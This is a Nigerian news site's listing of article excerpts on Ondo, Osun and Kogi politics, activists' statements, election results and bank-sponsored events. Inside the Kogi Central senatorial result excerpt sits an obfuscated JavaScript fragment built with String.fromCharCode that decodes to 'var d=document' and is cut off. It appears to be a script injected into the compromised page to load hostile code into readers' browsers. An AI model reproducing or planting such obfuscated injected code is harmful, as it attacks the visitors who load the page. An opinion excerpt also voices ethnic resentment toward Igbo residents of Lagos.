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19Apr By BolarinwaNo Comments

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Aiyedatiwa Campaign Group Defends Free Fuel for Okada Riders

…as Governor rounds off campaign tour The Lucky Aiyedatiwa Campaign Organisation Foot Soldiers Independent Council (LACO-FSIC) on Friday clarified that its fuel purchase for operators of commercial motorcycles, popularly called Okada, in Akoko communities was not an attempt to induce them ahead of Saturday's governorship primary-election of the All Progressives Congress (APC). At press time, no fewer than 1,500 okadas had got the freebie of having their tanks filled at various petrol stations in Ikare, headquarters of Akoko Northeast, and in its environs, streaming to communities in Akoko Northwest and Akoko Northest. Justifying the gesture, the LACO-FSIC Convener and prominent indigene of Ikare, Dr Oladipupo Okeyomi, said the gesture was a continuation of palliative measures emb...

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18Apr By Kayode FasuaNo Comments

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How Owo Stood Still For Governor Aiyedatiwa

By Kayode Fasua In an unprecedented manner, Governor Lucky Aiyedatiwa of Ondo State stormed the ancient town of Owo amid tumultuous crowds of supporters on Wednesday, in continuation of his campaigns for the governorship ticket of the All Progressives Congress (APC). Owo is the hometown of the late former Governor Rotimi Akeredolu (SAN), who was Aiyedatiwa's immediate predecessor. Various APC groups had been mobilised to receive the governor under the aegis of Lucky Aiyedatiwa Campaign Organisation Foot Soldiers Independent Council (LACO-FSIC), led by its Director-General for Owo Local Government, Dr. Adeyemi Olayemi, widely known as Koko. Olayemi's LACO-FSIC team was also complemented by Wumi Network group, floated by the state's Commissioner for Finance, Mrs Omowumi Isaac. ...

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28Jul By BolarinwaNo Comments

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Student loan: Activist Urges States, LGs to Emulate FG

Convener/National Coordinator of Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, has tasked government at the state and local government levels to replicate the kind gesture of the administration of President Bola Ahmed Tinubu, by assisting indigent students and pupils of secondary and primary schools, respectively. The President recently announced student loans cutting across tertiary institutions in the country. Oludare, a US-based medical doctor from Ondo State, Nigeria, gave the admonition at the end-of-session party organised for pupils of Delad Nursary and Primary School, Iro, Akure, Ondo State. The medic and socio-political activist noted that President Tinubu had set the template for giving access to children from poor homes who aspire to become graduates but a...

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24Jul By Kayode FasuaNo Comments

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Akeredolu”ll Survive Health Challenge, Says Cleric

General Evangelist of Christ Apostolic Church, Prophet Ezekiah Oladeji, has expressed the conviction that ailing Ondo State governor, Mr. Rotimi Akeredolu (SAN), would return to his desk hale and hearty soon. He gave the forsee at a thanksgiving service, powered by Prince Oyeleye Fasua, to mark the 67th birthday of the governor at the Chapel of Grace, Government House, Akure, over the weekend. Oladeji, who expressed consternation at insinuations that the governor was incapacitated or dying, sneered, saying many of the governor's detractors were his supposed friends. "I know some people are already rejoicing, trying to fathom out the type of 'aso ebi ' apparel to be bought in the event of the governor’s death. Whereas, these are people close to him, who are supposed to be his frie...

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3Jun By BolarinwaNo Comments

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Ondo Party Chieftain Raises Alarm Over Continued Threat to Life

A chieftain of the Peoples Democratic Party in Ondo State, Mr. Kamoru Ogundare, has raised the alarm over continued threat to his life and those of his family members as a fallout of the political hostility in his Okeigbo hometown of Ileoluji-Okeigbo Local Government area, since last year. Kamoru, who is currently in hiding, has sought for assistance through his uncle, Alhaji Sumola Faremi, who spoke with our correspondent in Okeigbo over the weekend. He said Ogundare's ordeal dated to May 2022 when his principal to whom he was a special assistant on politics and strategy, contested for the PDP ticket to run for the House of Representatives' election from the area. "There were seven other contestants along with Kamoru's boss known as Honourable Olatunji Timothy Felder. "Some o...

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11May By Kayode FasuaNo Comments

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Fashoranti is Builder of Nation, Says Oludare

Nigeria-born US medical practitioner, Dr. Marindoti Oludare, who joins other eminent Nigerians in congratulating elder statesman and Afenifere leader, Pa Reuben Fasoranti on his 97th birthday, has described the nonagenarian as not just a builder of men but also of the nation. Thirty-four-year old Oludare, who is Convener/National Coordinator of Social Rehabilitation Gruppe (SRG) in a statement titled, "A Prose to a Sage", issued from Texas, USA, described Akure, Ondo State-born Fashoranti as a leader who could have easily become governor or aspired to be president, but opted to retreat to the background and help in shaping policies that all are today hailing as fantastic. Recall that Pa Fashoranti who turns 97 on Thursday, was an acolyte of the late sage, Chief Obafemi Awolowo, and ...

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2May By Sharpedge NewsNo Comments

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Don’t Joke With Your Health, Oyebanji Advises Civil Servants

The Governor of Ekiti State, Mr. Biodun Oyebanji, has advised civil servants to attach great importance to their health and strike a balance between work and rest to avert untimely death. Governor Oyebanji gave the advice on Monday, while flagging off the construction of the Ekiti State Civil Service Senior Staff Club and Recreation Centre in Ado Ekiti, the Ekiti State capital. The foundation-laying ceremony which was withnessed by the deputy Governor, Chief (Mrs) Monisade Afuye, Speaker of the state Assembly, Rt Hon Bunmi Adelugba, labour leaders and top government officials was done immediately after the workers day taly at the Ekiti Parapo Pavilion Ado Ekiti. The governor, who described the project as historic, urged top government functionaries to always strike a balance betw...

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9Apr By Kayode FasuaNo Comments

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Okeyomi Commends Tinubu’s Maturity, Calls for Collaboration

Founder of the Change Agent Foundation International (CAFI), a non-governmental organisation, Dr. Dipo Okeyomi, has applauded the maturity displayed by the President-elect, Asiwaju Bola Tinubu, in the face of persistent criticisms from opposition parties, in the wake of his electoral victory. Okeyomi, popularly known as Carry-Go, in a goodwill message to mark Easter celebrations, said "Asiwaju, rather than dignify his attackers with responses, has instead retreated to his desk, planning seriously on how to take Nigeria out of the wood". Commending the President-elect to other politicians, Okeyomi, also a leading member of the All Progressives Congress (APC) said Tinubu has by his approach, demonstrated that politics is not a do-or-die affair, but a call to service. He, as such ta...

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26Mar By Sharpedge NewsNo Comments

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Nothing must truncate May 29 handing-over, group tasks security agencies

Convener/National Coordinator of a socio-political organisation, Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, has tasked all security organs of government to work assiduously towards ensuring a hitch-free handing over of government to the President-elect, Asiwaju Bola Tinubu, come May 29. Oludare who gave the charge in a statement on Sunday, said the alarm raised by the Department of State Service (DSS) that some groups were plotting to instigate violence ahead of the May 29 handing-over should not be taken lightly. He traced the plot to truncate the Democratic process to losers in the presidential election, urging that they should be reined in. "It is with great concern that I have watched the post-election agitations and instigations in my dear country. I find mos...

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21Mar By Sharpedge NewsNo Comments

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UniAbuja VC mourns Dadakuada music legend, Jaigbade Alao

Vice-Chancellor of University of Abuja, Prof. Abdul-Rasheed Na’Allah, has commiserated with the family of the late Dadakuada music maestro, Alhaji Jaigbade Alao, who died in the early hours of Monday at the age of 121. This is contained in a condolence message issued by the university’s Head of Information and University Relations, Dr Habib Yakoob, on behalf of the Governing Council, Senate, staff members and students of the institution. The vice-chancellor commiserated with Kwara government, Gov. Abdulrahman AbdulRazaq and the Emir of Ilorin, Dr Ibrahim Sulu-Gambari, Maimartaba Sarkin Ilori, friends, fans and lovers of the deceased across the world. Na’Allah, who said he had researched extensively into Jaigbade’s music as resource for African Oral Literature and Performance, sai...

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5Mar By Felix ShammahNo Comments

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OPINION: March 11: Sanwo-Olu Not Chinedu, Please

By Mobolaji Sanusi Ingratitude is a crime that is more despicable than revenge that is only returning evil for evil. Sadly, ingratitude returns evil for good.” —William George Jordan In: The Power Of Truth: Individual Problems And Possibilities(1902). Psychological torture can sometimes be worse than physical torture. The former is what the results of February 25 presidential election in Lagos State has inflicted on the psyche of genuine Yoruba free-born. I am one and so, l am deeply concerned. One is more particularly perturbed by Igbo indigenes living in Lagos and enjoying the benevolence of their Yoruba host communities but now threatening to take over the state by voting for one Chinedu Rhodes-Vivour because of his Igbo blood affiliation. Sad also is that no one has...

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28Feb By Sharpedge NewsNo Comments

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Elections: APC Candidate Beats Natasha Akpoti To Win Kogi Central Senatorial Seat

Abubakar Sadiku-Ohere of the All Progressive Congress (APC) has been declared winner of Kogi central senatorial district. He defeated Natasha Akpoti-Uduaghan, the candidate of the Peoples Democratic Party (PDP). Announcing the results, Rotimi Ajayi, INEC returning officer for Kogi central senatorial district, said Sadiku-Ohere garnered 52,132 votes to beat Natasha who had 51,763 votes. He added that Engineer Abubakar Sadiku-Ohere having scored the highest votes in the election for the Kogi central senatorial seat is hereby declared winner, and is therefore returned elected,”. Just last week Thursday, Akpoti-Uduaghan accused the Kogi government of trying to disenfranchise voters in the state. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116...

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25Feb By Kayode FasuaNo Comments

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New Naira notes: Malami’s Utterances Disappointing, Says Activist

A recent statement credited to the Minister of Justice and Attorney General of the Federation, Abubakar Malami (SAN), suggesting that some governors and individuals could be tried for treason for opposing the modalities for federal government's currency notes' swap, has been condemned as sheer political rascality. Malami was on Friday taken to the cleaners by the Convener/National Coordinator of Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, who expressed reservations about the competence of the minister. The Attorney General, had while speaking with journalists in Abuja, said the fate of some state governors and individuals being investigated for alleged treasonable utterances over the currency swap would be determined by the security agencies involved.  Some go...

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6Feb By Sharpedge NewsNo Comments

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Scarce Naira Notes Meant to Scuttle Presidential Poll, Group Alleges

As Nigerians groan under the biting effects of scarcity of naira notes in the economy, a socio-political organisation, Social Rehabilitation Gruppe (SRG), has warned the Central Bank of Nigeria (CBN) under its Governor, Mr. Godwin Emefiele, not to heat up the system ahead of the February 25 presidential election. Convener/National Coordinator of the group, Dr. Marindoti Oludare, in a statement on Sunday, said setting a hurried expiry date for the old naira notes at a time Nigeria is preparing for a major election smacked of mischief and evil plot, to derail a smooth transition from one government to another. "While it is within the right of the CBN to change the naira notes, it is also liable to addressing hiccups that could occur in the process, but in this case, the apex bank is a...

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8Jan By Sharpedge NewsNo Comments

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DESPITE DIFFICULT TIMES, FIRSTBANK EXCITED FAMILIES WITH UNIQUE “DECEMBERISSAVYBE” EXPERIENCES

It was glitz and glamour as the premier and leading financial institution in the country, FirstBank thrilled their customer to a memorable "DecemberIssaVybe" at the just concluded Vibe on the Beach, featuring sensational music act, Ayodeji Ibrahim Balogun widely known as Big Wiz. The timing of the concert was right, having had Asake and Kiss Daniel’s concert precede that of the grammy award winning music sensation. DecemberIssaVybe is not just about music but fun, fun and fun in its entirety, from stage plays to art and culture… the list comprised Culturati to Beeta Arts Festival Abuja, Koffi Tha Guru Unorthodox, Duke of Shomolu Production’s Encore, Our Duke Has Gone Mad Again and Ufok Iban. Others supported by the Bank include; Joromi: The Musical Concert; Osamede, Awo and Ufok Iba...

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3Jan By Felix ShammahNo Comments

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Why the 2022 Edition of DECEMBERISSAVYBE by FirstBank Wasn’t Just About the Excitement but Memories

By Farouk Mohammed The 2022 edition of “#DecemberIssaVybe” by FirstBank, Nigeria’s premier financial institution, has stood the test of time as it yet again created exciting opportunities for individuals and families to come together to celebrate the end of the year. The listed events promoted by the Bank birthed memories that will be hard to fade off one’s mind for many years. From Culturati to Beeta Arts Festival Abuja, Koffi Tha Guru Unorthodox, Duke of Shomolu Production’s Encore, Our Duke Has Gone Mad Again and Ufok Iban, FirstBank had fun goers granted opportunities to relive many exciting moments. These had many people memorably end 2022 as they were able to see their favourite act perform Live for the first time. Other activities supported were: Joromi: The Musical Concer...

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5Dec By Sharpedge NewsNo Comments

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The winner of the 61st FirstBank Lagos Amateur Open Golf Championship gets listed in The World Amateur Golf Rankings (WAGR)

Emmanuel Ojeabulu, winner of the 61st FirstBank Lagos Open Golf Championship has been listed in the WAGR. The premier golf championship which was held from 18 – 20 November at the golf section of Ikoyi Club 1938 was keenly contested by over 190 low handicap players from several golf clubs in the country. Benin based Emmanuel Ojeabulu won the 3-day championship. Playing three-shots off the pace going into the last 18-holes, Ojeabulu played one of the best golf of his life, maintaining steady pars for a closing 74, 3-over the course par to win the World Amateur Golf Ranking recognized event by two shots. Ojeabulu started his game with an opening 75, a second day score of 78 and a closing 74 to replace Ilorin based Aminu Kadir, the tournament defending champion on the winners list. ...

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30Nov By Samuel AlongeNo Comments

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Obaship Tussle: Iree Youths Deny Protest, As Illegal Monarch Remains Adamant

A group, Iree Youth Solidarity Front (IYSF) on Tuesday put a lie to publications that youths of the community staged a protest against the deposition of Prince Oluponle Ademola as Aree of Iree, by the new administration of Governor Ademola Adeleke of Osun State. It was also observed that Ademola has refused to vacate the palace, despite the executive order. The group in a statement by its president, Mr Rasheed Adeyemo, and secretary, Miss Evelyn Adio, said the report was concorted to twist "the truth that Iree Youths are actually happy and celebrating the righting of the wrong done to the community." Dismissing the story of youth protest in Iree as "sheer bunkum", the IYSF stated, "It is the figment of imagination of the author of the information, as we are all happy, celebrating...

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29Nov By Kayode FasuaNo Comments

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Iree Prince Hails Adeleke on Deposition of Illegal Monarchs

A leading contender to the vacant stool of Aree of Iree, Prince Ali Afolabi, has hailed a decision by the Osun State governor, Senator Ademola Adeleke, deposing three monarchs illegally installed at the twilight of the administration of former Governor Gboyega Oyetola. Afolabi who is of Olubonku Ruling House is one of the 11 aspirants to the Iree Obaship position. He is also a United Kingdom lawyer and property developer. Applauding the new governor as a respecter of the traditional institution, Afolabi said Monday's sack of the illegally installed monarchs of Iree and Ikirun respectively, would go down in the history of Osun as the most timely step in correcting two brazen acts of injustice. "We in Iree are grateful to our new governor for taking a bold step in correcting the br...

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19Nov By Samuel AlongeNo Comments

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CD Carpets Executive Arm on Disobedience to Court Orders

Leading rights group, Campaign for Democracy (CD) has expressed disappointment in Nigeria's executive arm of government over the spate of disobedience to court orders. Speaking with newsmen in Akure, the Ondo state capital, CD Secretary-General, Pastor Ifeanyi Odili, particularly condemned a recent installation of a traditional ruler for Iree community purportedly on the orders of outgoing governor Osun State, Alhaji Gboyega Oyetola, despite a court order stopping the process. An Osun High Court, sitting in Ikirun, recently restrained the state government from installing Prince Raphael Ademola as the new Aree of Iree, pending the determination of the substantive suit in motion. According to Odili, news-reports that the Osun State Government had installed the Oba-elect, "against c...

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